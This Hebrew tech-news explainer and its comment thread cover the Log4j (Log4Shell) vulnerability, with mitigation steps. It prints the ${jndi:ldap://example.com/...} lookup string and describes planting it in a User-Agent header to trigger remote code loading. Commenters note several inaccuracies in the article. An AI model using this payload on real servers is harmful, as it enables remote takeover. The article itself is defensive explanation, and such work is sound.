הסבר למתקדמים: מה לעזאזל זו חולשת Log4j שכל האינטרנט מדבר עליה

חולשת Log4j דורגה ברמת החומרה הגבוהה ביותר ונמצאת כמעט בכל מקום ברשת ממיינקראפט ועד אפל וטסלה. למה היא כזו משמעותית ומה חשוב שנדע? בואו נעשה קצת סדר

עשרות מיליוני שחקנים בגרסת ה-JAVA של המשחק חשופים. מקור: מיקרוסופט

מאת: אליה להב

ספריית Log4j היא ספריית ג’אווה שמבצעת רישום ללוגים, כלומר אירועים שמתרחשים במערכת האתר – כמו ניסיונות כניסה לדפים באתר. ב-9 בדצמבר חשף חוקר אבטחה פגיעות קריטיות בספרייה שמאפשרת לתוקפים להריץ קוד מרחוק בשרתים שמשתמשים בספרייה. הפגיעות הזו היא כל-כך קריטית עד כדי-כך שהיא סווגה ברמת החומרה הגבוהה ביותר (CVSS 10), רמת חומרה שניתנת רק לפגיעויות שקלות מאוד למימוש ומסוכנות במקסימום. בדיוק כזו היא CVE-2021-44228, החולשה בספרייה שמייד נסביר, שהפכה מהר מאוד לאחד מהנושאים הכי מדוברים ברשת.

ממשק משנות ה-90. מה כבר יכול להשתבש?

ועכשיו, בואו נתחיל מההתחלה. בשפת ג’אווה קיים החל משנות ה-90 ממשק שנקרא JNDI (או Java Naming and Directory). תפקידו של הממשק הזה הוא לאפשר למתכנתי ג’אווה לאתר נתונים ומשאבים מספריות ג’אווה. את הפנייה לאותן ספריות מבצעת JNDI באמצעות SPI (הרחבות לתכנית – Service Provider Interface), יש כמה הרחבות כאלו, אחת מהן נקראת LDAP (לא זו שאתם מכירים מרשתות ארגוניות, אלא Lightweight Directory Access Protocol). אז בואו נסכם את מה שראינו עד עכשיו: אם אני רוצה לחפש נתונים בספריות ג’אווה, אני למעשה מבקש מהתוכנה לאתר לי אותם בעזרת שימוש ב-JNDI, אותו אני מממש LDAP.

איך אני פונה לתוכנה בעזרת ה-LDAP? בואו נראה דוגמה.

נגיד שאני רוצה לאתר בתוכנה שלי אובייקט בשם JNDITutorial – אפנה כך לשרת ה-LDAP של התוכנה:

ldap://localhost:389/o=JNDITutorial

כלומר אני פונה לשרת LDAP, שממוקם בכתובת localhost, כלומר כתובת שמבטאת את המחשב המקומי, השרת של התוכנה, ובפורט 389 – הפורט בו מאוחסנת התוכנה, ומבקש ממנו את האובייקט JNDITutorial

הנקודה היא כזו. ככתובת ה-LDAP אני למעשה יכול להכניס כל כתובת שאני רוצה ולאו דווקא את הכתובת של התוכנה, אלא גם כתובת של שרת מרוחק, ממנו אני מעוניין לבקש אובייקט כלשהו. זה אולי נשמע מפחיד, כי אם אכניס ככתובת ה-LDAP של תוכנה כלשהי את הכתובת של האתר שלי, שבו אצור אובייקט שישתלט על השרת מרחוק, אוכל להשתלט על השרת מרחוק (שכן ה-LDAP פונה לאתר שאני מזין לו ומאחזר את האובייקט שאני מבקש). אבל לבן אדם, שהוא לא הבעלים של השרת לא אמורה להיות גישה לשרת ה-LDAP, והוא לא אמור להצליח לגרום לתוכנה שלי להשתמש בשירות הזה.


בואו לדבר איתנו בקבוצה הרשמית של גיקטיים


טוויסט בעלילה

פה נכנס לתמונה ה-Log4j.

בשונה מכל תוכנה אחרת מבוססת ג’אווה, ב-Log4j כל בן אדם (ולא רק מפתחי התוכנה) יכל לגרום לתוכנה לפנות לכתובת מסוימת מטעם שרת ה-LDAP. למה זה קרה? כי ב-Log4j נעשה מימוש מיוחד של ה-LDAP, וגם כשאנו מזינים מחרוזת טקסט (עם הקידומת jndi:ldap, הוא יפנה לכתובת שצוינה לו. לדוגמה

{jndi:ldap://example.com/eliya}$

יפנה לאובייקט eliya באתר example.com ואם האובייקט eliya מכיל קוד שמבצע הרצת קוד מרחוק, השרת יריץ קוד מרחוק. ממש כך.

למה שאצליח לפנות ל-Log4j? ובכן, כפי שנכתב בתחילה, Log4j היא ספרייה שמבצעת רישום ללוגים. הסברנו גם שלוגים הם אירועים שמתבצעים במערכת האתר. אחד מהאירועים הללו הן כניסות ופניות למערכת ויחד איתם נרשם לצד כתובת ה-IP של המשתמש שנכנס, גם ה-User-Agent שלו (מאיזה דפדפן ומכשיר הוא נכנס, האם מ-Windows 10 ו-Chrome, או ממכשיר של אפל וספארי וכו).

ה-User-Agent הזה הוא שדה, שלכל אחד יכולה להיות שליטה עליו. בדרך כלל הוא כמובן נרשם בצורה אוטומטית בהתאם למכשיר שאני באמת משתמש בו, אבל אם אני רוצה לגרום לאתר לחשוב שאני גולש דרך הטלפון, ולהציג לי את האתר מותאם למובייל, אוכל פשוט לשנות את הUser-Agent, ולציין בו את מכשיר הטלפון שלי (כמובן, בתבנית מסויימת).

אבל זה לא חייב להיות רק מכשיר טלפון. אני יכול להכניס ב-User-Agent מה שאני רוצה. ואם אני רוצה לגרום לשרת ה-LDAP של השרת אליו אני פונה לממש את ה-JNDI, ולפנות לאובייקט באתר שלי, פשוט אשנה את ה-User-Agent לתבנית שגורמת ל-Log4j לבצע את הפנייה הזו, התבנית {jndi:ldap://example.com/eliya}$ עליה דיברנו קודם לכן.

מכיון שה-User-Agent נרשם בקובץ הלוגים, הרי שהצלחנו להכניס אותו לתוך השרת, וכשהשרת יראה פקודת jndi:ldap – למרות שמבחינתו קובץ הלוגים הוא קובץ טקסט ולא קובץ קוד – הוא ינסה לגשת לכתובת שציינו לו.

למה זה כל-כך משמעותי? כי Log4j הוא רכיב קוד פתוח, שנמצא בעשרות שירותים מוכרים ופופולריים שנמצאים בשימוש כמעט בכל מערכת, כמו שרתי Apache, ספריית Spark ועוד, אבל גם במוצרים שכולנו משתמשים בהם ביומיום, כמו המשחק הסופר-פופולארי מיינקראפט, ומוצרים של חברות כמו VMWare, Cisco, NetApp ועוד רבים.

מה אפשר לעשות?

1. אם מדובר במערכת מבוססת ג’אווה שאתם פיתחתם, והיא משתמשת ב-Log4j, מהרו לעדכן את גרסת ה-Log4j  ל-Log4j v2.15.0. לחילופין, הגדירו את המאפיין הבא –

Log4j.formatMsgNoLookups=true

אם אתם רק משתמשים בתוכנות שעושות שימוש ב-Log4j, מהרו לעדכן אותן לגרסה החדשה ביותר שיצאה אמש.

2. ודאו שהמערכות שלכם מוגנות היטב בחומות האש הפופולריות. כל חומות האש עדכנו כבר מאתמול את ה-Black-List שלהן וחוסמות כל String שיכולה להוביל לפרצה. אם אתם בעלי אתרי אינטרנט, אני ממליץ בחום על ה-WAF (Web Application Firewall), שיכול לחסוך לכם מפחי נפש ולא רק במקרה הזה.

3. הקפידו לעדכן את משחק המיינקראפט של הילדים שלכם לגרסה האחרונה, 1.18.1. אם אתם עם קצת-יותר ידע טכני, תוכלו במקום זאת למחוק מה-JAR של המשחק בנתיב את הרכיב JndiLookup.class

בהצלחה

 

הכותב הוא חוקר סייבר, כותב הבלוג Cyber-IL

כתב אורח

אנחנו מארחים מפעם לפעם כותבים טכנולוגים אורחים, המפרסמים כתבות בתחומי התמחות שלהם. במידה ואתם מעוניינים לפרסם פוסט בשמכם, פנו אלינו באמצעות טופס יצירת קשר באתר.

הגב

20 תגובות על "הסבר למתקדמים: מה לעזאזל זו חולשת Log4j שכל האינטרנט מדבר עליה"

avatar
Photo and Image Files
 
 
 
Audio and Video Files
 
 
 
Other File Types
 
 
 

* היי, אנחנו אוהבים תגובות!
תיקונים, תגובות קוטלות וכמובן תגובות מפרגנות - בכיף.
חופש הביטוי הוא ערך עליון, אבל לא נוכל להשלים עם תגובות שכוללות הסתה, הוצאת דיבה, תגובות שכוללות מידע המפר את תנאי השימוש של Geektime, תגובות שחורגות מהטעם הטוב ותגובות שהן בניגוד לדין. תגובות כאלו יימחקו מייד.

סידור לפי:   חדש | ישן | הכי מדורגים
חומי
Guest

בהחלט. הכל ברור. שים לי גם אחד סוכרזית בבקשה. ותעטוף לי בעיתון של שישי לקחת הביתה.

אוי אברוך ????

השם שלי קצר מידי
Guest
השם שלי קצר מידי

הבעיה היא שזו ספריה מאד ותיקה בתשתיות רבות. אנשים לא יודעים איפה היא בשימוש כי התלויות הן לפעמים מאד עמוקות. דברים מודרנים פחות עושים בה שימוש אבל הרבה קוד ישן יכול לכלול את התלות או לכלול ספריה אחרת שכוללת את זה. ופה הבעיה: יכול להיות שאתם עושים שימוש בספריה בלי לדעת…
היופי הוא שהתיקון לא עד כדי ככה קשה. ואפשר להפעיל אותו גם אם אתם לא עושים שימוש בספריה. אפשר פשוט להגדיר משתנה סביבה ולאתחל את השרת. זהו.

הבאג גם פחות חמור בגרסאות חדשות של ג׳אווה ששם הפעלה מרחוק היא לא אפשרית בJNDI. עדיין יש באג אבל פחות נורא.

gal
Guest

קצת אי דיוקים:
1. spark משתמש ב log4j ולא log4j2 ולכן קשור לשמחה.
2. יש אפשרויות מיטגציה נוספות, באמצעות הוספת system property / env property בגרסאות log4j2 שחדשות מ 2.10

gal
Guest

** לכן לא קשור לשמחה

אחד
Guest

אני לא משוכנע

מישהו
Guest

אני דיי בטוח שצריך לעדכן את הlauncher של מיינקראפט לגרסה האחרונה ולא את המשחק עצמו

אנונימוס
Guest

הvmware הוציאו עידכון גירסה? איך מעדכנים אותו?

קלרשו
Guest

“… שהוא לא הבעלים של השרת לא אמורה להיות גישה לשרת …”
גם ההאקר לא אמור לפרוץ למחשב.
בושה שאף אחד לא שם לב שיש מנגנון debug שעוקף את כל ההגנות

קלרשו
Guest

ההמלצה של מיקרוסופט בספר משנת 2003 היא לא לסמוך אף פעם על שמות כמו שמות של קבצים או שמות של אתרים. תמיד יש כזה : משהו או % או $

מישהו
Guest

מוזר שהכתבה הזאת פורסמה במקומות אחרים תחת רן בר זיק….
מישהו גנב ממישהו….

בצל טכנולוגי
Guest

“LDAP לא זה שאתם מכירים מרשתות ארגוניות”???
זה בדיוק הLDAP שאנחנו מכירים מרשתות ארגוניות!! זה אותו LDAP
Lightweight Directory Access Protocol זה הפרוטוקול שאקטיב דיירקטורי משתמש בו (וכמובן עוד כלים ותוכנות אחרות שמדברות בLDAP)

קיקי
Guest

לא הבנתי למה שהשרת יפנה לכתובת שנמצאת ב userAgent. הסבר??

קיקי
Guest

אה, כי הוא משערך את המשתנה ${} ויש שם פקודת JNDI

אבי
Guest

רק משהו קטן:
למה שמיינקראפט יפנה לשרת שלי,
כדי שאחזיר לו את היוזר – אגנט הזדוני?

ליאור
Guest

מיינקראפט לא יפנה לשרת שלך. מיינקראפט רץ על המחשב שלך וכותב ללוג את כל הודעות הצ’אט שנכתבות על ידי משתמשים אחרים בזמן שמשחקים משחק רשת. ברגע שמשתמש כותב בצ’אט את המחרוזת המדוברת, אז הוא מקבל גישה לכל המחשבים שמריצים מינקראפט וראו את הודעות הצ’אט הזו וכתבו אותה ללוג.

מישהו
Guest

תודה רבה על ההסבר!

דנדן
Guest

כל הכבוד , כתבה על רמה . ככה אתרים צריכים לספק מידע על נושאים שהם מדוחים עליהם. שאפו , שמעתי על הפירצת אבטחה הזו , אבל מפה ממש מובן מה הבעיה.

דנדן
Guest

אם אפשר הסבר למה זה עד כדי כך חמור ? הרי לפי ההסבר רק יכולים להפעיל/לבקש אובייקט שקיים כבר ?
1. צריך ידע מבפנים איזה אובייקטים קיימים בשביל להפעיל/לבקש אותם.
2. קוד זדוני מן הסתם לא קיים מראש , הרי בשביל להפעיל אותו צריך לשתול אותו מבעוד מועד .

שלום ברים
Guest

אפשר לשלוח כתובת של שרת שלי, שיש בו קוד זדוני שאני כתבתי, והמחשב המותקף יפנה אלי, ייקח את הקוד ויריץ אותו אצלו.

מתכנת
Guest

לא אוהב להרוס שמחות, אבל זאת אחת הכתבות הכי לא מדויקות שקראתי על log4j.
אני מציע למי שמתעניין טיפה יותר לקרוא בעוד מקום כדי להשלים את הידע

wpDiscuz

תגיות לכתבה: